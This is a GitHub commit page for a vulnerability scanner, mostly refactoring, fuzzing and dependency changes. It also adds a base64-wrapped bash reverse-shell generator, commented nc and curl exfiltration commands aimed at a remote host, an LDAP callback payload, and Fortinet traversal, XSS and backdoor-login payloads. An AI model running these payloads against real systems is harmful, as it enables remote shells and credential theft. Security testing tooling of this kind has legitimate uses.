Skip to content

Commit e32d6fa

Browse files
hktalenthktalent
committed
1、fuzz、及所有请求输出限制为800k，避免被反制、进行内存攻击导致程序崩溃
2、修复naabu、nmap扫描后使用ip继续走后续流程，导致无法正确访问目标的bug，https通常是限定只能域名访问的 3、file fuzz针对 aac、abw、arc、avif、avi、azw、bin、bmp、bz、bz2、cda、csh、css、csv、doc、docx、eot、epub、gz、gif、ico、ics、jar、jpeg、jpg、js、json、jsonld、mid、midi、mjs、mp3、mp4、mpeg、mpkg、odp、ods、odt、oga、ogv、ogx、opus、otf、png、pdf、php、ppt、pptx、rar、rtf、sh、svg、tar、tif、tiff、ts、ttf、txt、vsd、wav、weba、webm、webp、woff、woff2、xhtml、xls、xlsx、xml、xul、zip、3gp、3g2、7z 的Content-Type: 进行类型识别，跳过无用的fuzz,例如请求的是jpg，返回200的html 2022-10-12
1 parent 2f5289e commit e32d6fa

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

69 files changed

+5517
-128
lines changed

‎brute/filefuzz.go

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -160,6 +160,7 @@ type FuzzData struct {
160160
Req *util.Page
161161
}
162162

163+
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
163164
var r001 = regexp.MustCompile(`\.(aac)|(abw)|(arc)|(avif)|(avi)|(azw)|(bin)|(bmp)|(bz)|(bz2)|(cda)|(csh)|(css)|(csv)|(doc)|(docx)|(eot)|(epub)|(gz)|(gif)|(ico)|(ics)|(jar)|(jpeg)|(jpg)|(js)|(json)|(jsonld)|(mid)|(midi)|(mjs)|(mp3)|(mp4)|(mpeg)|(mpkg)|(odp)|(ods)|(odt)|(oga)|(ogv)|(ogx)|(opus)|(otf)|(png)|(pdf)|(php)|(ppt)|(pptx)|(rar)|(rtf)|(sh)|(svg)|(tar)|(tif)|(tiff)|(ts)|(ttf)|(txt)|(vsd)|(wav)|(weba)|(webm)|(webp)|(woff)|(woff2)|(xhtml)|(xls)|(xlsx)|(xml)|(xul)|(zip)|(3gp)|(3g2)|(7z)$`)
164165

165166
// 重写了fuzz：优化流程、优化算法、修复线程安全bug、增加智能功能
@@ -397,9 +398,12 @@ func FileFuzz(u string, indexStatusCode int, indexContentLength int, indexbody s
397398
}
398399
// 默认情况等待所有结束
399400
wg.Wait()
400-
log.Printf("fuzz is over: %s found:\n%s\n", u, strings.Join(path, "\n"))
401+
if 0 < len(path) {
402+
log.Printf("fuzz is over: %s found:\n%s\n", u, strings.Join(path, "\n"))
403+
path = util.SliceRemoveDuplicates(path)
404+
}
401405
technologies = util.SliceRemoveDuplicates(technologies)
402-
path = util.SliceRemoveDuplicates(path)
406+
403407
stop() //发停止指令
404408
<-time.After(time.Second * 2)
405409
stop2()

‎config/config.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
{
2+
"ldapServer": "ldap://docker.for.mac.localhost:1389/%s/#UpX34defineClass",
23
"LimitReader": 819200,
34
"OnClient": true,
45
"ScanPoolSize":5000,

‎config/scan4all_db.db

208 KB
Binary file not shown.

‎go.mod

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ require (
2727
github.com/logrusorgru/aurora v2.0.3+incompatible
2828
github.com/pkg/errors v0.9.1
2929
github.com/projectdiscovery/retryablehttp-go v1.0.3-0.20220604122435-c175fc8f2d4a
30-
github.com/projectdiscovery/uncover v0.0.5
30+
github.com/projectdiscovery/uncover v0.0.6
3131
github.com/stretchr/testify v1.8.0
3232
)
3333

@@ -38,12 +38,12 @@ require (
3838
github.com/davecgh/go-spew v1.1.1 // indirect
3939
github.com/golang/snappy v0.0.4 // indirect
4040
github.com/json-iterator/go v1.1.12 // indirect
41-
github.com/miekg/dns v1.1.50 // indirect
41+
github.com/miekg/dns v1.1.50
4242
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
4343
github.com/modern-go/reflect2 v1.0.2 // indirect
4444
github.com/pmezard/go-difflib v1.0.0 // indirect
4545
github.com/projectdiscovery/hmap v0.0.2
46-
github.com/projectdiscovery/retryabledns v1.0.15 // indirect
46+
github.com/projectdiscovery/retryabledns v1.0.15
4747
github.com/projectdiscovery/stringsutil v0.0.1
4848
github.com/syndtr/goleveldb v1.0.0 // indirect
4949
github.com/yl2chen/cidranger v1.0.2 // indirect
@@ -105,6 +105,7 @@ require (
105105
github.com/hktalent/jarm-go v0.0.0-20220918133110-7801447b6267
106106
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358
107107
github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5
108+
github.com/jinzhu/copier v0.3.5
108109
github.com/jlaffaye/ftp v0.1.0
109110
github.com/karlseguin/ccache v2.0.3+incompatible
110111
github.com/lcvvvv/gonmap v1.2.1
@@ -118,6 +119,7 @@ require (
118119
github.com/panjf2000/ants/v2 v2.5.0
119120
github.com/projectdiscovery/folderutil v0.0.0-20220523100846-d6161a49c221
120121
github.com/projectdiscovery/iputil v0.0.0-20220712175312-b9406f31cdd8
122+
github.com/projectdiscovery/naabu/v2 v2.1.0
121123
github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84
122124
github.com/projectdiscovery/nuclei/v2 v2.7.8
123125
github.com/projectdiscovery/subfinder/v2 v2.5.3

‎go.sum

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -571,6 +571,8 @@ github.com/jcmturner/gokrb5/v8 v8.4.3 h1:iTonLeSJOn7MVUtyMT+arAn5AKAPrkilzhGw8wE
571571
github.com/jcmturner/gokrb5/v8 v8.4.3/go.mod h1:dqRwJGXznQrzw6cWmyo6kH+E7jksEQG/CyVWsJEsJO0=
572572
github.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY=
573573
github.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc=
574+
github.com/jinzhu/copier v0.3.5 h1:GlvfUwHk62RokgqVNvYsku0TATCF7bAHVwEXoBh3iJg=
575+
github.com/jinzhu/copier v0.3.5/go.mod h1:DfbEm0FYsaqBcKcFuvmOZb218JkPGtvSHsKg8S8hyyg=
574576
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
575577
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
576578
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
@@ -903,6 +905,10 @@ github.com/projectdiscovery/mapcidr v1.0.0/go.mod h1:5QkKrV6rNQQurCZI3nNedFsAOYp
903905
github.com/projectdiscovery/mapcidr v1.0.1/go.mod h1:/qxlpxXZQFFjHynSc9u5O0kUPzH46VskECiwLiz7/vw=
904906
github.com/projectdiscovery/mapcidr v1.0.2 h1:ewn7hoZz8P1TJ4VqG//XMlQKg5zhj2hnEx3C9jf3sQA=
905907
github.com/projectdiscovery/mapcidr v1.0.2/go.mod h1:9OuUDjA+FilmXToex0xMfQb0os6qMaoiuZCksai0asY=
908+
github.com/projectdiscovery/naabu/v2 v2.0.7 h1:I1xPIbDlFPpOG1lu4y5FwVKzQrNgZL83o8Y4Q/S2aoM=
909+
github.com/projectdiscovery/naabu/v2 v2.0.7/go.mod h1:0svSCem0xTs84sIyGVHOdrXshNSb1MRQCGuhCRh8XXA=
910+
github.com/projectdiscovery/naabu/v2 v2.1.0 h1:KC2GlJeKhxX9eBFqA1/ac5Vse9zSV3QBqRmMTL0QXMI=
911+
github.com/projectdiscovery/naabu/v2 v2.1.0/go.mod h1:5I3HB2IQnWpg6YEYgDHgeBq7SOK7Rsp2wJE/89uwcdA=
906912
github.com/projectdiscovery/networkpolicy v0.0.1/go.mod h1:asvdg5wMy3LPVMGALatebKeOYH5n5fV5RCTv6DbxpIs=
907913
github.com/projectdiscovery/networkpolicy v0.0.2-0.20220525172507-b844eafc878d/go.mod h1:asvdg5wMy3LPVMGALatebKeOYH5n5fV5RCTv6DbxpIs=
908914
github.com/projectdiscovery/networkpolicy v0.0.2-0.20220925181336-68b15b6cbe8c h1:zMIO2xtYwynjczOvIsCZiqMSbgupK3ZO/JPNotN/85c=
@@ -953,6 +959,8 @@ github.com/projectdiscovery/tlsx v0.0.8 h1:+YsPi1sQ6UZUPA6eA8t1RRdbuNzy2cFb9Dvvl
953959
github.com/projectdiscovery/tlsx v0.0.8/go.mod h1:TlIEi84Vfhs5MVGbb41UAiLkDcSIF8feca6XhyNU2KY=
954960
github.com/projectdiscovery/uncover v0.0.5 h1:x6+96/5WwHhZxkWubTnUdNmoGdg/UIO2rwkL9VOxwmk=
955961
github.com/projectdiscovery/uncover v0.0.5/go.mod h1:LF8NewLQXa0mI5H/6ASDy9/4sxghCTAXAhGkhKG1kb8=
962+
github.com/projectdiscovery/uncover v0.0.6 h1:V44qqGtm7xx0sVTVvuAlQ4p8LAgfShSDeXQP1l4SxOg=
963+
github.com/projectdiscovery/uncover v0.0.6/go.mod h1:EXhp8F74rxWFRL7RMXQA8+2lPftH+PGjB7CyvecxkHo=
956964
github.com/projectdiscovery/urlutil v0.0.0-20210525140139-b874f06ad921/go.mod h1:oXLErqOpqEAp/ueQlknysFxHO3CUNoSiDNnkiHG+Jpo=
957965
github.com/projectdiscovery/urlutil v0.0.0-20220606114420-c8511bedff3f h1:yW/g2I+mqEL6E2SfSdEJZWZf5FUXJa2S+u8Rrx+3EtQ=
958966
github.com/projectdiscovery/urlutil v0.0.0-20220606114420-c8511bedff3f/go.mod h1:AIXgGkomxeaCo1P/iMI3vClLciOF7DBx3N/rDWWsBqE=

‎lib/api/main.go

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,9 @@ import (
1717
// 逐步实现支持 多实例 接口 运行
1818
func StartScan(oOpts *map[string]interface{}) {
1919
util.DoSyncFunc(func() {
20+
//buf1 := bytes.Buffer{}
21+
//opt001 := naabu.DoNaabu(&buf1)
22+
2023
options := naaburunner.ParseOptions()
2124
if options.Update {
2225
util.UpdateScan4allVersionToLatest(true)
@@ -83,7 +86,7 @@ func StartScan(oOpts *map[string]interface{}) {
8386
}
8487
gologger.Info().Msg("Port scan over,web scan starting")
8588
}
86-
err = naabuRunner.Httpxrun()
89+
err = naabuRunner.Httpxrun(nil, nil)
8790
if err != nil {
8891
gologger.Fatal().Msgf("naabuRunner.Httpxrun Could not run httpRunner: %s\n", err)
8992
}

‎lib/reverse/util.go

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
package reverse
2+
3+
import (
4+
"encoding/base64"
5+
"fmt"
6+
)
7+
8+
// cmd nc -e /bin/sh %s %s , rhost 192.168.0.111, rport 7777
9+
// 获取敏感文件: curl -F "file=@/storage/db/vmware-vmdir/data.mdb" http://%s:%s/ , rhost 192.168.0.111, rport 7777
10+
// cmd nc -e /bin/sh %s %s , rhost 192.168.0.111, rport 7777
11+
func GenLinuxShell(rhost, rport, cmd string) string {
12+
s1 := base64.StdEncoding.EncodeToString([]byte(fmt.Sprintf(cmd, rhost, rport)))
13+
return fmt.Sprintf("bash -c {echo,%s}|{base64,-d}|{bash,-i}", s1)
14+
}

‎main.go

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@ import (
88
"log"
99
"net/http"
1010
_ "net/http/pprof"
11-
"os"
1211
"runtime"
1312
"runtime/debug"
1413
)
@@ -25,7 +24,7 @@ func main() {
2524
//os.Args = []string{"", "-host", "http://192.168.0.109", "-v"}
2625
//os.Args = []string{"", "-host", "http://127.0.0.1", "-v"}
2726
//os.Args = []string{"", "-host", "https://www.sina.com.cn/", "-v", "-o", "xxx.csv"}
28-
os.Args = []string{"", "-list", "list.txt", "-v"}
27+
//os.Args = []string{"", "-list", "list.txt", "-v"}
2928

3029
runtime.GOMAXPROCS(runtime.NumCPU())
3130
util.DoInit(&config)

‎new.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,4 +2,4 @@
22
2、修复naabu、nmap扫描后使用ip继续走后续流程，导致无法正确访问目标的bug，https通常是限定只能域名访问的
33
3、file fuzz针对
44
aac、abw、arc、avif、avi、azw、bin、bmp、bz、bz2、cda、csh、css、csv、doc、docx、eot、epub、gz、gif、ico、ics、jar、jpeg、jpg、js、json、jsonld、mid、midi、mjs、mp3、mp4、mpeg、mpkg、odp、ods、odt、oga、ogv、ogx、opus、otf、png、pdf、php、ppt、pptx、rar、rtf、sh、svg、tar、tif、tiff、ts、ttf、txt、vsd、wav、weba、webm、webp、woff、woff2、xhtml、xls、xlsx、xml、xul、zip、3gp、3g2、7z
5-
的Content-Type: 进行类型识别，跳过无用的fuzz
5+
的Content-Type: 进行类型识别，跳过无用的fuzz,例如请求的是jpg，返回200的html

‎pkg/httpx/internal/testutils/integration.go

Lines changed: 0 additions & 67 deletions
This file was deleted.

‎pkg/httpx/runner/banner.go

Lines changed: 0 additions & 24 deletions
This file was deleted.

‎pkg/httpx/runner/doc.go

Lines changed: 0 additions & 2 deletions
This file was deleted.

‎pkg/httpx/runner/options.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package runner
22

33
import (
4+
"github.com/hktalent/ProScan4all/lib/util"
45
"github.com/hktalent/ProScan4all/pkg/httpx/common/customheader"
56
"github.com/hktalent/ProScan4all/pkg/httpx/common/customlist"
67
customport "github.com/hktalent/ProScan4all/pkg/httpx/common/customports"
@@ -351,7 +352,7 @@ func ParseOptions() *Options {
351352
//showBanner()
352353

353354
if options.Version {
354-
gologger.Info().Msgf("Current Version: %s\n", Version)
355+
gologger.Info().Msgf("Current Version: %s\n", util.Version)
355356
os.Exit(0)
356357
}
357358

‎pkg/naabu/v2/pkg/runner/options.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -128,7 +128,7 @@ func ParseOptions() *Options {
128128
flagSet.StringVar(&options.CeyeApi, "ceyeapi", "", "ceye.io api key"),
129129
flagSet.StringVar(&options.CeyeDomain, "ceyedomain", "", "ceye.io subdomain"),
130130
flagSet.BoolVar(&options.NoPOC, "np", false, "Skip pocs_go check"),
131-
flagSet.BoolVarP(&options.ScanAllIPS, "sa", "scan-all-ips", true, "scan all the IP's associated with DNS record"),
131+
flagSet.BoolVarP(&options.ScanAllIPS, "sa", "scan-all-ips", false, "scan all the IP's associated with DNS record"),
132132
flagSet.StringVarP(&options.ScanType, "s", "scan-type", SynScan, "type of port scan (SYN/CONNECT)"),
133133
flagSet.StringVar(&options.SourceIP, "source-ip", "", "source ip"),
134134
flagSet.BoolVarP(&options.InterfacesList, "il", "interface-list", false, "list available interfaces and public ip"),

‎pkg/naabu/v2/pkg/runner/runner.go

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ import (
1212
"github.com/hktalent/ProScan4all/webScan"
1313
"github.com/projectdiscovery/fileutil"
1414
"github.com/projectdiscovery/iputil"
15+
runner3 "github.com/projectdiscovery/naabu/v2/pkg/runner"
1516
"github.com/projectdiscovery/retryablehttp-go"
1617
"log"
1718
"net"
@@ -53,8 +54,12 @@ type Runner struct {
5354

5455
var Naabubuffer = bytes.Buffer{}
5556

56-
func (r *Runner) Httpxrun() error {
57-
httpxrunner.Naabubuffer = Naabubuffer
57+
func (r *Runner) Httpxrun(buf *bytes.Buffer, options *runner3.Options) error {
58+
if nil != buf {
59+
httpxrunner.Naabubuffer = *buf
60+
} else {
61+
httpxrunner.Naabubuffer = Naabubuffer
62+
}
5863
var nucleiDone = make(chan bool, 1)
5964
Cookie := util.GetVal("Cookie")
6065
if "" != Cookie {

‎pkg/naabu/v2/pkg/runner/targets.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -440,6 +440,7 @@ func (r *Runner) resolveFQDN(target string) ([]string, error) {
440440
hostIPS = append(hostIPS, initialHosts[0])
441441
}
442442

443+
hostIPS = util.SliceRemoveDuplicates(hostIPS)
443444
for _, hostIP := range hostIPS {
444445
gologger.Debug().Msgf("Using host %s for enumeration\n", hostIP)
445446
// dedupe all the hosts and also keep track of ip => host for the output - just append new hostname

‎pocs_go/CVE-2018-13380.go

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
package pocs_go
2+
3+
/*
4+
https://www.yisu.com/zixun/499765.html
5+
https://github.com/ianxtianxt/CVE-2018-13379
6+
CVE-2018-13379: Pre-auth任意文件读取,可以获得用户名和密码
7+
/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
8+
9+
CVE-2018-13380 Fortinet FortiOS xss漏洞
10+
Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.8
11+
/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
12+
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
13+
/message?title=x&msg=%26%23<svg/onload=alert(1)>;
14+
15+
CVE-2018-13382 Fortinet FortiOS magic后门
16+
Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.9 Fortinet Fortios 5.4.11
17+
/remote/login?lang=en
18+
19+
changePassword修改密码
20+
/remote/logincheck
21+
"Referer": "https://"+ip+"/remote/login?lang=en"
22+
"If-Modified-Since": "Sat, 1 Jan 2000 00:00:00 GMT", "Content-Type": "text/plain;charset=UTF-8", "Connection": "close"
23+
data = {"ajax": "1", "username": username, "realm": '', "credential": newpassword, "magic": "4tinet2095866", "reqid": "0", "credential2": newpassword}
24+
if r.status_code==200 and 'redir=/remote/hostcheck_install' in r.text:
25+
26+
*/

0 commit comments

Comments
 (0)